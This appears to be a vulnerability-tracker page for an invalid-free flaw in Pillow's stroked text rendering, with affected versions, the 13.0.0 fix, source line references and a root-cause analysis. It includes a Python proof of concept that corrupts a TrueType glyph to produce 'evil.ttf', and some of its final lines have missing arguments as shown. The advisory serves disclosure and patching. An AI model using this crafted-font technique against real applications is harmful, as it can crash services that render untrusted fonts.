Live › vulnerability › CVE-2026-112893
Go to dashboardPillow's text rendering with a non-zero stroke width can free an uninitialized or stale FreeType glyph pointer when a malformed font fails to load a glyph. An attacker who supplies a crafted TrueType font to an application that renders it with stroke_width set can trigger an invalid free, which is a memory-safety defect that may crash the process.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| pillow | pypi | >= 10.0.0, < 13.0.0 | 13.0.0 |
pip show pillow (version >= 10.0.0 and < 13.0.0 is affected)
Check whether code calls ImageFont.truetype on user-supplied font bytes or files and draws text with stroke_width != 0
13.0.0 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
glyph is declared without a NULL initializer:
src/_imagingft.c:848The first measurement loop can jump to glyph_error before glyph is ever assigned:
src/_imagingft.c:1010-1013In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
src/_imagingft.c:1242The cleanup frees it whenever a stroker exists:
src/_imagingft.c:1253-1256ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.
This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", ).write(raw)
f = ImageFont.truetype(, )
d = ImageDraw.Draw(Image.new(, (, )))
d.text((, ), , font=f, stroke_width=)
Result on the pinned build: FT_Load_Glyph returns an error and execution reaches the glyph_error cleanup that calls FT_Done_Glyph(glyph) (the plugin surfaces OSError: invalid outline).
Applications that draw text with stroke_width != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FT_Done_Glyph.
This page as .md · .json · in your agent: get_signal("CVE-2026-112893")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.